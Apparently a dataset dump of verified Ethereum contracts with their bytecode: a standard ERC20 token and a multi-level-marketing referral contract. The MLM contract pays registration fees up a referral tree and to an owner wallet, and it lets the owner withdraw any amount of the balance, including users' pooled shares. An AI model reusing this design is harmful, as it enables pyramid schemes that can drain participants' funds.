526020019081526020016000205461165c90919063ffffffff16565b611095565b600190509392505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610f7e33848461128c565b6001905092915050565b600080831415610f9b5760009050611008565b6000828402905082848281610fac57fe5b0414611003576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117796021913960400191505060405180910390fd5b809150505b92915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117e86024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061172f6022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611312576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117c36025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116e66023913960400191505060405180910390fd5b600081116113f1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061179a6029913960400191505060405180910390fd5b6113f9610799565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114675750611437610799565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156114c8576004548111156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806117516028913960400191505060405180910390fd5b5b61151a81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115af81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dce90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211156116d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b60008284039050809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d3dbb66ed5d3d342ce166f835d29215c3f7be1b3222b4e8554603bd50f6f424b64736f6c63430007000033
|
{"success": true, "error": null, "results": {}}
| 5,941 |
0x2b1fe8a2848416e06306d0c7e4172f92ee350f2f
|
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-22
*/
pragma solidity ^0.7.1;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns(string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override(IERC20) returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override(IERC20) returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
override(IERC20)
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public override(IERC20) returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public override(IERC20) returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
override(IERC20)
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d6106a4565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ae565b60405180821515815260200191505060405180910390f35b61023f61085e565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610875565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaa565b6040518082815260200191505060405180910390f35b61031c610af2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b94565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc9565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de0565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156105b457600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561073957600080fd5b6107c882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610853848484610ea6565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108b057600080fd5b61093f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8a5780601f10610b5f57610100808354040283529160200191610b8a565b820191906000526020600020905b815481529060010190602001808311610b6d57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bcf57600080fd5b610c5e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610dd6338484610ea6565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610e7c57600080fd5b8091505092915050565b600082821115610e9557600080fd5b600082840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ef157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f2b57600080fd5b610f7c816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea2646970667358221220fe6924c9fddcad8a9b91a5b2fd7f4c688e9564a59705a6a9b4febb755c21056164736f6c63430007010033
|
{"success": true, "error": null, "results": {}}
| 5,942 |
0xc95d253d4134a97d3bd1d7843228f039a0232ffb
|
pragma solidity ^0.6.10;
// SPDX-License-Identifier: MIT
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint256 c = a + b;
require(c >= a, "overflow error");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a, "overflow error");
uint256 c = a - b;
return c;
}
function inc(uint a) internal pure returns(uint) {
return(add(a, 1));
}
function dec(uint a) internal pure returns(uint) {
return(sub(a, 1));
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
}
contract MLM {
using SafeMath for uint;
//****************************************************************************
//* Data
//****************************************************************************
struct Tx {
uint fr;
uint to;
uint value;
}
struct User {
address payable parent;
address payable ldirect;
address payable mdirect;
address payable rdirect;
uint level;
mapping(uint => Tx) txs;
uint txCount;
uint uid;
uint poolShare;
}
address payable[] directUsers;
mapping(address => User) users;
mapping(uint => address) uids;
address payable[] usersArray;
uint[] portions;
uint share;
uint directShare;
address owner;
address payable beneficiary; //wallet owner
bool maintainance;
uint maxDirectRegister;
uint directRegisterCount;
uint uidPrecision = 1e4;
uint maxLevel = 0;
uint pool = 0;
uint autoPoolShare;
//****************************************************************************
//* Events
//****************************************************************************
event UserRegistered(address payable parent, address payable child, uint level);
event PoolDischarged(uint poolValue, uint usersCount, uint time);
//****************************************************************************
//* Modifiers
//****************************************************************************
modifier isOwner {
require(owner == msg.sender);
_;
}
modifier maintainanceOn {
require(maintainance);
_;
}
modifier maintainanceOff {
require(! maintainance);
_;
}
modifier notRegistered {
require(users[msg.sender].uid == 0);
_;
}
modifier registered(address payable _member) {
require(users[_member].uid > 0);
_;
}
modifier shareSet {
require(share > 0 && directShare > 0);
_;
}
modifier isNode(address node) {
require(users[node].uid > 0);
_;
}
//****************************************************************************
//* Functions
//****************************************************************************
constructor() public {
maintainance = true;
owner = msg.sender;
beneficiary = msg.sender;
portions.push(0);
maxDirectRegister = 1;
}
function withdrawMyPoolShare() public {
require(users[msg.sender].poolShare > 0);
msg.sender.transfer(users[msg.sender].poolShare);
users[msg.sender].poolShare = 0;
}
function dischargePool() public isOwner {
require(pool > 0);
uint poolShare = pool/usersArray.length;
for (uint i = 0; i < usersArray.length; i = i.inc()) {
users[usersArray[i]].txs[users[usersArray[i]].txCount] = Tx({
fr: 0,
to: users[usersArray[i]].uid,
value: poolShare
});
pool = pool.sub(poolShare);
users[usersArray[i]].txCount = users[usersArray[i]].txCount.inc();
users[usersArray[i]].poolShare = users[usersArray[i]].poolShare.add(poolShare);
}
emit PoolDischarged(pool, usersArray.length, now);
}
function getUsersCount() public view returns(uint) {
return(usersArray.length);
}
function getPoolValue() public view returns(uint) {
return(pool);
}
function getMyPoolShare() public view returns(uint) {
require(users[msg.sender].uid > 0);
return(users[msg.sender].poolShare);
}
function changeMaxDirectRegister(uint _maxDirectRegister) public isOwner {
require(_maxDirectRegister != maxDirectRegister);
require(_maxDirectRegister >= getDirectRegisterCount());
maxDirectRegister = _maxDirectRegister;
}
function getMaxDirectRegister() public view isOwner returns(uint) {
return(maxDirectRegister);
}
function getDirectRegisterCount() public view isOwner returns(uint) {
return(directRegisterCount);
}
function getDirectRegister(uint _index) public view returns(address payable) {
require((msg.sender == owner) || (msg.sender == beneficiary));
return(directUsers[_index.dec()]);
}
function getRemainedDirectRegister() public view returns(uint) {
return(maxDirectRegister.sub(directRegisterCount));
}
function changeOwner(address _owner) public isOwner {
require(owner != _owner);
owner = _owner;
}
function setPoolShare(uint _poolShare) public isOwner maintainanceOn {
require(autoPoolShare != _poolShare);
autoPoolShare = _poolShare;
}
function getPoolShare() public view returns(uint) {
return(autoPoolShare);
}
function setActive() public isOwner maintainanceOn shareSet {
uint portionsSum = autoPoolShare;
for (uint l = 1; l < portions.length; l = l.inc()) {
portionsSum = portionsSum.add(portions[l]);
}
require(portionsSum < share);
maintainance = false;
}
function setInactive() public isOwner maintainanceOff {
maintainance = true;
}
function setShare(uint _share) public isOwner maintainanceOn {
require(_share > 0);
require(share != _share);
share = _share;
}
function getShare() public view returns(uint) {
return(share);
}
function setDirectShare(uint _share) public isOwner maintainanceOn {
require(_share > 0);
require(directShare != _share);
directShare = _share;
}
function getDirectShare() public view returns(uint) {
return(directShare);
}
function setBeneficiary(address payable _beneficiary) public isOwner {
require(_beneficiary != beneficiary);
beneficiary = _beneficiary;
}
function setPortion(uint _level, uint _portion) public isOwner maintainanceOn {
require(_level > 0);
uint currentLevel = portions.length.dec();
if (_level > currentLevel) {
for (uint l = currentLevel.inc(); l < _level; l = l.inc()) {
portions.push(0);
}
portions.push(_portion);
}
else {
portions[_level] = _portion;
}
}
function getPortion(uint _level) public view returns(uint) {
require(_level < portions.length);
return(portions[_level]);
}
function getPortionCount() public view returns(uint) {
return(portions.length);
}
function getDirectChildsCount(address _node) public view isNode(_node) returns(uint) {
uint childs = 0;
if (users[_node].ldirect != address(0))
childs = childs.inc();
if (users[_node].mdirect != address(0))
childs = childs.inc();
if (users[_node].rdirect != address(0))
childs = childs.inc();
return(childs);
}
function getDirectChilds(address _node) public view isNode(_node) returns(address, address, address) {
return(users[_node].ldirect, users[_node].mdirect, users[_node].rdirect);
}
function getDirectChildsUid(uint _uid) public view returns(uint, uint, uint) {
require(uids[_uid] != address(0));
return(
users[users[uids[_uid]].ldirect].uid,
users[users[uids[_uid]].mdirect].uid,
users[users[uids[_uid]].rdirect].uid
);
}
function getChildsCount(address _node) public view isNode(_node) returns(uint) {
if (_node == address(0))
return(0);
uint childs = getDirectChildsCount(_node);
if (users[_node].ldirect != address(0))
childs = childs.add(getChildsCount(users[_node].ldirect));
if (users[_node].mdirect != address(0))
childs = childs.add(getChildsCount(users[_node].mdirect));
if (users[_node].rdirect != address(0))
childs = childs.add(getChildsCount(users[_node].rdirect));
return(childs);
}
function withdraw(uint value) public isOwner {
beneficiary.transfer(value);
}
function getParent(address node) public view isNode(node) returns(address) {
return(users[node].parent);
}
function findParentInLevel(address payable _referral, uint _level) private view returns(address payable) {
if (_level == 1) {
if (getDirectChildsCount(_referral) < 3)
return(_referral);
else
return(address(0));
}
else {
address payable ldirect = findParentInLevel(users[_referral].ldirect, _level.dec());
if (ldirect == address(0)) {
address payable mdirect = findParentInLevel(users[_referral].mdirect, _level.dec());
if (mdirect == address(0)) {
address payable rdirect = findParentInLevel(users[_referral].rdirect, _level.dec());
return(rdirect);
}
else
return(mdirect);
}
else
return(ldirect);
}
}
function getNearestParent(address payable _referral) private view returns(address payable) {
if (_referral == address(0))
return(address(0));
uint _level = 1;
bool _found = false;
address payable _parent;
while (! _found) {
_parent = findParentInLevel(_referral, _level);
if (_parent == address(0))
_level = _level.inc();
else
_found = true;
}
return(_parent);
}
function generateUid() private returns(uint) {
if (getUsersCount() >= (uidPrecision / 10))
uidPrecision *= 10;
int time = - int(now);
uint uid = uint(msg.sender) ^ uint(address(this)) ^ uint(time) ^ uint(blockhash(block.number-1));
if (uid == 0)
uid = 1;
while (uid > uidPrecision)
uid = uid / 10;
while (users[uids[uid]].uid >0) {
if (uid == (uidPrecision.dec()))
uid = 1;
else
uid = uid.inc();
}
return(uid);
}
function registerDirect() public payable maintainanceOff notRegistered {
require(maxDirectRegister > directRegisterCount);
address payable _referral = address(0);
directRegisterCount = directRegisterCount.inc();
directUsers.push(msg.sender);
doRegister(_referral, directShare);
}
function registerNoReferral() public payable maintainanceOff notRegistered {
address payable minLevelParent = getNearestParent(directUsers[0]);
uint minLevel = users[minLevelParent].level;
for(uint i = 1; i < directUsers.length; i = i.inc()) {
address payable parent = getNearestParent(directUsers[i]);
uint level = users[parent].level;
if (level < minLevel) {
minLevel = level;
minLevelParent = parent;
}
}
doRegister(minLevelParent, share);
}
function registerReferral(address payable _referral) public payable maintainanceOff notRegistered {
require(_referral != address(0));
_referral = getNearestParent(_referral);
doRegister(_referral, share);
}
function doRegister(address payable _referral, uint _share) private {
require(users[msg.sender].uid == 0);
doRegisterData(_referral, msg.sender, _share);
doRegisterPayment(msg.sender, _share);
}
function doRegisterData(address payable _referral, address payable _child, uint _share) private {
uint _level;
uint _uid = generateUid();
if (_referral == address(0))
_level = 1;
else
_level = users[_referral].level.inc();
if (_level > maxLevel)
maxLevel = _level;
users[_child] = User({
parent: _referral,
level: _level,
txCount: 1,
ldirect: address(0),
mdirect: address(0),
rdirect: address(0),
uid: _uid,
poolShare: 0
});
users[_child].txs[0] = Tx({
fr: users[_child].uid,
to: 0,
value: _share
});
uids[_uid] = _child;
usersArray.push(_child);
if (_referral != address(0)) {
if (users[_referral].ldirect == address(0))
users[_referral].ldirect = _child;
else if (users[_referral].mdirect == address(0))
users[_referral].mdirect = _child;
else if (users[_referral].rdirect == address(0))
users[_referral].rdirect = _child;
else
revert();
}
emit UserRegistered(_referral, _child, _level);
}
function doRegisterPayment(address payable _child, uint _share) private {
address payable node = _child;
uint value = msg.value;
require(value >= _share);
uint portionsSum = 0;
for (uint l = 1; l < portions.length; l = l.inc()) {
node = users[node].parent;
if (portions[l] > 0) {
if (node != address(0)) {
portionsSum = portionsSum.add(portions[l]);
node.transfer(portions[l]);
users[node].txs[users[node].txCount] = Tx({
fr: users[_child].uid,
to: users[node].uid,
value: portions[l]
});
users[node].txCount = users[node].txCount.inc();
}
}
}
pool = pool.add(autoPoolShare);
uint beneficiaryShare = _share.sub(portionsSum).sub(autoPoolShare);
beneficiary.transfer(beneficiaryShare);
uint remainedValue = value.sub(_share);
if (remainedValue > 0)
_child.transfer(remainedValue);
}
function doRegisterTx(address payable _child) private {
address payable node = _child;
for (uint l = 1; l < portions.length; l = l.inc()) {
node = users[node].parent;
if (portions[l] > 0) {
if (node != address(0)) {
users[node].txs[users[node].txCount] = Tx({
fr: users[_child].uid,
to: users[node].uid,
value: portions[l]
});
users[node].txCount = users[node].txCount.inc();
}
}
}
}
function getOwner() public view returns(address) {
return(owner);
}
function getBeneficiary() public view returns(address) {
return(beneficiary);
}
function getBalance() public view isOwner returns(uint) {
return(address(this).balance);
}
function getMaintainance() public view returns(bool) {
return(maintainance);
}
function getAddress(uint _uid) public view returns(address payable) {
require(uids[_uid] != address(0));
return(payable(uids[_uid]));
}
function getUid(address payable _address) public view returns(uint) {
require(users[_address].uid > 0);
return(users[_address].uid);
}
function getMyUid() public view returns(uint) {
return(getUid(msg.sender));
}
function isMember(address payable _address) public view returns(bool) {
return(users[_address].uid > 0);
}
function isMemberByUid(uint _uid) public view returns(bool) {
return(uids[_uid] != address(0));
}
function getTxCount(address payable _address) public view registered(_address) returns(uint) {
return(users[_address].txCount);
}
function getTx(address payable _address, uint _index) public view registered(_address) returns(uint, uint, uint, uint, uint) {
require(_index < users[_address].txCount);
uint uid = getUid(_address);
return(_index, uid, users[_address].txs[_index].fr, users[_address].txs[_index].to, users[_address].txs[_index].value);
}
function getPaid(address payable _address) public view registered(_address) returns(uint) {
return(users[_address].txs[0].value);
}
function getEarned(address payable _address) public view registered(_address) returns(uint) {
uint sum;
for (uint i = 1; i < users[_address].txCount; i= i.inc())
sum = sum.add(users[_address].txs[i].value);
return(sum);
}
function getLevel(address payable _address) public view registered(_address) returns(uint) {
return(users[_address].level);
}
function initialize(address payable _parent, address payable _child) public maintainanceOn {
require((msg.sender == owner) || (msg.sender == beneficiary));
require(_parent != address(0));
require(_child != address(0));
require(users[_parent].uid > 0);
require(users[_child].uid == 0);
doRegisterData(_parent, _child, share);
doRegisterTx(_child);
}
function initializeDirect(address payable _direct) public maintainanceOn {
require((msg.sender == owner) || (msg.sender == beneficiary));
require(maxDirectRegister > directRegisterCount);
require(_direct != address(0));
require(users[_direct].uid == 0);
directRegisterCount = directRegisterCount.inc();
directUsers.push(msg.sender);
doRegisterData(address(0), _direct, directShare);
}
